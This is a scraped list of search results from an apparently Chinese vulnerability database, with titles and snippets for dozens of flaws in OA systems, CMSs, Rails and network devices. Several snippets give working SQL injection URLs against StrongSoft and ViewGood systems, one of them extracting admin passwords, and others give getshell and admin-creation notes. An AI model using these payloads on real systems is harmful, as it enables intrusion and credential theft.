56796 matches found
Ruby on Rails jquery-ujs和jquery-rails安全绕过漏洞
Impact In the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to " https://attacker.com" note the leading space that will be passed to JQuery, who...
Ruby on Rails activesupport远程拒绝服务漏洞
Impact Specially crafted XML documents can cause applications to raise a SystemStackError and potentially cause a denial of service attack. This only impacts applications using REXML or JDOM as their XML processor. Other XML processors that Rails supports are not impacted. All users running an...
Shadows-IT Designs Local File Inclusion
No description provided by source...
Ruby On Rails Paperclip跨站脚本漏洞
No description provided by source...
wizBank®学习管理系统任意文件下载漏洞
wizBank学习管理系统文件下载功能没有对下载的文件名称和类型进行严格检查和过滤，恶意用户可通过构造特殊的路径下载指定的文件。 wizBank学习管理系统的\www\cw\skin1\jsp\download.jsp文件的源代码如下： code 区域 ，从代码可见，没有对下载的文件名称和类型进行严格检查和过滤，恶意用户可通过构造特殊的路径下载指定的文件。...
山东浪潮政务中心系统 任意文件上传漏洞
No description provided by source...
用友FE协作办公平台5.5 /security/treeXml.jsp 文件 SG04 参数SQL注入漏洞
No description provided by source...
Knoica Minolta FTP CWD命令缓冲区溢出漏洞
No description provided by source...
Digi Portserver TS 1弱口令
No description provided by source...
万户OA办公系统 informationmanager_download.jsp 任意文件下载漏洞
No description provided by source...
shopnc /circle/index.php SQL注入漏洞
No description provided by source...
Shop7z order_checknoprint.asp id 参数 SQL注入漏洞
No description provided by source...
StrongSoft灾害预警系统strFieldName参数SQL注入漏洞
注入链接：/Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx 注入参数：strFieldName 【获取数据库版本】 /Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx?strFieldValue=1&strSelectFieldCollection=1&tableName=sysobjects&strFieldName=convertint,@@version 【管理员账号密码】...
Huawei VRP telnet 弱口令
No description provided by source...
用友u8 CmxItem.php SQL注入
No description provided by source...
FreeBSD 远程拒绝服务攻击漏洞
0x01 漏洞复现 此漏洞是由于FreeBSD在处理ipv6数据包时，某函数对于数据的检验不严格，导致若传入的ipv6结构体某成员函数为NULL时，在后续函数调用中会触发assert，导致freebsd进入异常处理机制，内核崩溃引发系统重启，下面对此漏洞进行详细分析。 首先对于漏洞环境的搭建我不讲解了，在我的微信公众号上发了一篇文章专门讲解FreeBSD环境的搭建，包括内核调试，vmtools安装等等，环境搭建好之后，通过执行poc.py，发现程序重启，重启过程中，/var/crash下会生成崩溃信息。...
金融化一卡通系统越权添加管理员
/managerNManager.action http://.../xykcx/managerNManager.action...
Joomla com_docman 组件路径泄露和本地文件包含漏洞
No description provided by source...
TRS WCM parseXMLFile()函数 XXE漏洞
No description provided by source...
泛微E-Office /inc/priv_user_list/priv_xml.php SQL注入漏洞
0x01 框架概述 泛微e-office是泛微公司面向中小型组织推出的OA产品,简单易用高效,部署快、投资少。提供免费试用体验。至今已为超过一万家客户提供方便高效的办公体验. 官方主页： www.weaver.com.cn 主页截图如下。 0x02 漏洞信息 先对系统进行解密。 /inc/privuserlist/privxml.php 大概18行开始 $pararr = explodestpar $REQUEST'par' ; $userpriv = $pararr'userpriv'; ... if $pararr'viewtype' == 0 unset $deptnameutf8...
StrongSoft灾害预警系统 warn/AjaxHandle/AjaxOuterWarnForMerger.ashx DeptID参数SQL注入漏洞
注入链接：/warn/AjaxHandle/AjaxOuterWarnForMerger.ashx 注入参数：DeptID 【获取数据库版本】 /warn/AjaxHandle/AjaxOuterWarnForMerger.ashx?action=GetCheckIdByPid&DeptID=1'+AND+2709=SELECT+@@version+AND+'EcwM'='EcwM 【获取当前数据库】...
StrongSoft灾害预警系统 /Report/AjaxHandle/StationChoose/StationSearch.ashx stationName 参数SQL注入漏洞
注入链接：/Report/AjaxHandle/StationChoose/StationSearch.ashx?stationName=1&stationType='KKK'&sqlWhere= 注入参数：stationName 【获取数据库版本】/Report/AjaxHandle/StationChoose/StationSearch.ashx?stationName='+and+1=2++union+all+select+@@version,NULL--&stationType='KKK'&sqlWhere=...
用友致远A6协同系统messageViewer.jsp三处SQL注入漏洞
No description provided by source...
php168 知道模块 /zhidao/user.php?j=question&u SQL注入漏洞
No description provided by source...
ZTE OLT C200 telnet 弱口令
No description provided by source...
StrongSoft灾害预警系统ReportingDetail.aspx ID参数SQL注入漏洞
注入链接：/Disaster/Reporting/ReportingDetail.aspx 注入参数：ID 【获取数据库版本】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND 3=CHAR@@version -- 【管理员账号密码】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND+2709=select+top+1+UserID%2b'---'%2bUserPwd+from+strongmain.dbo.WebSystemUser--...
phpwind V9.0 /windid/admin.php 验证码绕过漏洞
No description provided by source...
齐博(qibocms) /blog/template/space/file/listbbs.php $TB_pre 参数SQL注入漏洞
No description provided by source...
Mao10CMS user_register.php 添加超级管理员逻辑漏洞
No description provided by source...
phpyun v4.0 api/locoy/model/news.class.php SQL注入漏洞
No description provided by source...
1caitong电子采购系统 Company_Show.aspx 参数ID SQL注入漏洞
No description provided by source...
Zfsoft OA系统 gwxxbviewhtml.do 任意文件下载漏洞
No description provided by source...
易企CMS install/install.php 代码执行
看代码\install\install.php 作用就是安装该cms，然后把install.php改为install.php.bak。由于apache解析问题，改文件还是会解析成php，然后就可以暴力getshell。 数据库连接文件会写到\include\config.inc.php 由于是双引号可直接shell，无限制。...
远古流媒体系统 pic_proxy.aspx SQL 注入漏洞
/viewgood/webmedia/portal/picproxy.aspx?id=1%20and%201%3Dconvert%28int%2C%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%2bdbname%2b%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29--&type=2...
KingCMS V9 manage.php 任意用户密码重置漏洞
No description provided by source...
MoMoCMS_v3.1 install/index.php重装系统
MoMoCMSv3.1企业建站系统 Install/index.php里没有进行判断lock，你们能判断一下lock吗？ 在install/index.php $document.readyfunction / setup navigation, content boxes, etc... / // validate signup form on keyup and submit var validator = $"loginform".validate rules: dbhost: "required", dbname: "required", dbuser: "required",...
远古流媒体系统 query_user_password_qustion.aspx SQL 注入漏洞
/viewgood/webmedia/portal/queryuserpasswordqustion.aspx?username=1%27%20AND%201%3DCONVERT%28int%2C%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%2b@@version%2b%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29%20AND%20%271%27%3D%271...
远古流媒体系统 POST注入漏洞
username=%27%20and%201%3Dconvert%28int%2C%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%2bdbname%28%29%2bCHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29-- URL:http://xxx.com/VIEWGOOD/ADI/portal/UserDataSync.aspx POST:UserGUID=1' and...
YouYaX宽字节盲注
No description provided by source...
HiShop商城系统 Isv.ashx 直接添加管理员设计缺陷
No description provided by source...
泛微e-cology /web/careerapply/HrmCareerApplyAdd.jsp 文件 careerid 参数SQL注入漏洞
No description provided by source...
Youyax lib/indexaction.php 二次注入
No description provided by source...
StrongSoft灾害预警系统ContactUpdate.aspx ContactID参数SQL注入漏洞
注入链接：/Duty/MailList/ContactUpdate.aspx 注入参数：ContactID Payload：ContactID=-1+and+1=@@version...
三星(Samsung) SyncThruWeb 2.01.00.26 - SMB散列泄露漏洞
No description provided by source...
乐知行教务系统 /datacenter/downloadApp/loadAppInfo.do versionType 参数SQL注入漏洞
No description provided by source...
YouYaX saveself.html 储存型 xss
No description provided by source...
Joomla! 组件 JE Guestbook v1.0 参数view SQL注入漏洞
No description provided by source...
远古流媒体系统 GetCaption.ashx注入漏洞
/ADI/portal/GetCaption.ashx?CaptionType=1%27%20and%201%3Dconvert%28int%2C%28char%28116%29%252bchar%28121%29%252bchar%28113%29%252bdbname%28%29%252bCHAR%28116%29%252bCHAR%28121%29%252bCHAR%28113%29%29%29--&AssetID=1&CaptionName=11...
shopnum1 GuidBuyList.aspx SQL注入漏洞
No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import requests import re class TestPOCPOCBase: vulID = '' ssvid version = '1.0' author = '烽火戏诸侯' vulDate = ' 2015-06-09'...